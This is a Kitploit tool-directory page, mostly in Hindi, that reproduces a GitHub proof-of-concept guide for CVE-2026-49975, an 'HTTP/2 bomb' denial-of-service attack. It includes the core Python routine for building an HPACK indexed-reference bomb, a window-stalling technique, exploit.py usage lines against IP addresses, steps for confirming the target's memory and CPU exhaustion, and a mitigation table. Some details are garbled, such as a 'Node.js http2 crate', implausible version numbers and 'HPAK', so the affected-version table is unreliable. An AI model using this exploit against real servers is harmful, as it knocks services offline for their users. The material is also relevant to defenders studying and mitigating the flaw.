Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2026-49975-http2bomb_reproduction — PoC exploit for CVE-2026-49975 HTTP/2 Bomb DoS vulnerability. HPACK अनुक्रमित संदर्भ बम को फ्लो-कंट्रोल विंडो स्टॉल के साथ जोड़कर एकल कनेक्शन के माध्यम से सर्वर मेमोरी को खत्म करने का प्रदर्शन करता है। | Kitploit
उपकरण/GitHubGitHub/razureink/cve-2026-49975-http2bomb_reproduction
भेद्यता विश्लेषणशोषणवेब सुरक्षानेटवर्क सुरक्षापेपर और शोधलर्निंग और शिक्षा
GitHubrazureink/cve-2026-49975-http2bomb_reproduction

cve-2026-49975-http2bomb_reproduction

PoC exploit for CVE-2026-49975 HTTP/2 Bomb DoS vulnerability. HPACK अनुक्रमित संदर्भ बम को फ्लो-कंट्रोल विंडो स्टॉल के साथ जोड़कर एकल कनेक्शन के माध्यम से सर्वर मेमोरी को खत्म करने का प्रदर्शन करता है।

रिपॉजिटरी देखें
11353 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-49975 (HTTP/2 बम) पूर्ण पुनरुत्पादन मार्गदर्शिका

QiAnXin CERT सलाह + Calif मूल शोध पर आधारित

================================================================

I. भेद्यता अवलोकन

CVE-2026-49975 HTTP/2 सर्वर और प्रॉक्सी कार्यान्वयनों में एक गंभीर सेवा-अस्वीकृति (DoS) भेद्यता है। इस हमले को, जिसे "HTTP/2 बम" या "HPACK बम" कहा जाता है, HTTP/2 प्रोटोकॉल के दो डिज़ाइन-स्तरीय व्यवहारों का शोषण करके लक्ष्य को असीमित मेमोरी खपत (OOM) और CPU थकावट में धकेलता है:

  1. HPACK इंडेक्स्ड रेफ़रेंस ब्लो-अप – एक छोटा HEADERS फ़्रेम जो HPACK इंडेक्स्ड रेफ़रेंस के माध्यम से तार्किक रूप से उसी कुकी प्रविष्टि को हज़ारों बार संदर्भित करता है। डिकोड करते समय, सहकर्मी का HPACK डिकोडर वायर आकार के बजाय संदर्भों की संख्या के अनुपात में मेमोरी आवंटित कर सकता है।
  2. फ़्लो-कंट्रोल विंडो स्टॉलिंग – शून्य की प्रारंभिक विंडो के साथ संयुक्त, प्रेषक HEADERS डेटा को कतारबद्ध करता है लेकिन रिसीवर विंडो अपडेट आने तक पढ़ने से इनकार कर देता है; बफ़र भर जाते हैं और मेमोरी दबाव बढ़ता है।

CVSS 3.1 बेस स्कोर: 9.8 (गंभीर)
वेक्टर: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

II. हमले का सिद्धांत (दो-चरणीय संयोजन)

यह हमला सबसे प्रभावी होता है जब दोनों चरण एक-दूसरे के पूरक हों, लेकिन कुछ कार्यान्वयनों के विरुद्ध प्रत्येक चरण अकेले ही पर्याप्त है।

चरण 1: HPACK इंडेक्स्ड रेफ़रेंस बम

HTTP/2 का HPACK हेडर संपीड़न एक विकसित होने वाली गतिशील तालिका का उपयोग करता है। एक बार जब एक बड़ा कुकी हेडर तालिका में डाल दिया जाता है (Literal+Incremental Encoding के माध्यम से), तो एक हमलावर उस प्रविष्टि को 1-बाइट ऑपकोड के साथ संदर्भित कर सकता है। बार-बार संदर्भ देने से डिकोडर उसी हेडर को बार-बार पुनर्निर्मित करता है।

Wire:  [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
    ↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.

एक 5 KB पैकेट सैकड़ों मेगाबाइट डिकोड किए गए पेलोड तक बढ़ सकता है।

चरण 2: HTTP/2 विंडो स्टॉलिंग

INITIAL_WINDOW_SIZE=0 के साथ SETTINGS विक्टिम को सभी HEADERS/continuation डेटा कतारबद्ध करने के लिए मजबूर करता है। हमलावर WINDOW_UPDATE फ़्रेम धीरे-धीरे रिसाता है। बफ़र्स संयोजनात्मक रूप से भरे रहते हैं।

तंत्रप्रवर्धन कारक
कच्चा HEADERS बॉडी1x
HPACK ref विस्फोट20–80x
+ समवर्ती स्ट्रीम्स100–500x
+ विंडो स्टॉलिंग1000x+

III. प्रभावित सर्वर

विक्रेता / प्रोजेक्टसंस्करणविवरण
Apache mod_http2< 2.0.13इंडेक्स्ड ref विस्फोट पर OOM
nghttp2< 1.62.0असीमित मेमोरी ब्लोट
h2o< 4.0.2डिकोडर में अनंत लूप
Node.js http2 crate< 1.12.0nghttp2-rs में अंतर्निहित विस्तार
Go net/http (h2)< 1.24goroutine हैंग + OSL alloc
Apache Traffic Server< 9.3.0आंतरिक बफ़र के माध्यम से OOM
HAProxy h2< 2.9अत्यधिक आकार के AVP पर क्रैश
Envoy< 1.30फ़्लो-कंट्रोल में भारी आवंटन
Rust hyper/h2 crate< 5.14ओवरफ़्लो SK पर पैनिक

सटीक सीमाओं के लिए अपने विक्रेता की CVE प्रविष्टि देखें।

IV. पर्यावरण सेटअप

# Python 3.8+ with ssl support
python --version

# SSL Certificate optional; PoC sets CERT_NONE

Docker त्वरित-विक्टिम:

docker run -d --name h2-victim -p 4433:443 \
    nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null

V. एक्सप्लॉइट कोड

सहयोगी स्क्रिप्ट exploit.py है।

मुख्य रूटीन:

def build_hpack_bomb(num_headers: int = 20000) -> bytes:
    cookie_name = b"cookie"
    cookie_value = "a=" + "y" * 128
    data = bytearray()
    # Step 1: insert cookie into dynamic table
    data.append(0x40)  # Literal+incremental
    data.extend(encode_hpack_int(len(cookie_name), 7))
    data.extend(cookie_name)
    data.extend(encode_hpack_int(len(cookie_value), 7))
    data.extend(cookie_value.encode())
    # Step 2: spam Indexed refs (index 63)
    for _ in range(num_headers):
        data.append(0x80)
        data.extend(encode_hpack_int(63, 7))
    return bytes(data)

स्क्रिप्ट निम्नलिखित कार्य करती है:

  • host:port से TLS कनेक्शन
  • HTTP/2 PRI प्रीफ़ेस + window=0 के साथ SETTINGS
  • HPACK बम को HEADERS के रूप में भेजती है
  • वैकल्पिक रूप से धीमी WINDOW_UPDATE ट्रिकल भेजती है
  • PING फ़्रेम के माध्यम से RTT गिरावट मापती है

VI. उपयोग

# Basic run (default 10000 refs)
python exploit.py 192.168.1.100

# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000

# Disable window stall
python exploit.py endpoint.com --no-stall

# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60

# Verbose
python exploit.py 10.0.0.5 -v

VII. हमले की प्रभावशीलता सत्यापित करें

पीड़ित के संसाधनों की निगरानी करें:

watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>

हमले के काम करने के संकेत:

  • पीड़ित का RSS >500 MB तक बढ़ जाता है
  • CPU 100% तक पहुँच जाता है
  • PING विलंबता 1 सेकंड से अधिक हो जाती है
  • कनेक्शन टाइम आउट हो जाते हैं

VIII. शमन

दृष्टिकोणसेटिंग
प्रति स्ट्रीम हेडर सीमित करेंMaxHeaderCount 500
कम-संपीड़न अस्वीकार करेंअनुपात सीमा < 5
HPACK वृद्धि को सीमित करेंडायनामिक टेबल को 1 KB तक सीमित करें
प्रति-कनेक्शन मेमोरीN MB के बाद अस्वीकार करें
दर सीमित करनासामान्य conn/s, req/s

IX. अस्वीकरण

यह जानकारी केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए है। केवल उन सिस्टमों के विरुद्ध चलाएँ जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास लिखित अनुमति है।

संदर्भ

  • CVE-2026-49975 Mitre
  • QiAnXin CERT Advisory (मूल मंदारिन / अंग्रेज़ी बुलेटिन)
  • Calif, A. The HTTP/2 Bomb: HPAK indexed OOM. Black Hat 2025
  • RFC 7541, RFC 9113
टूल डाउनलोड करें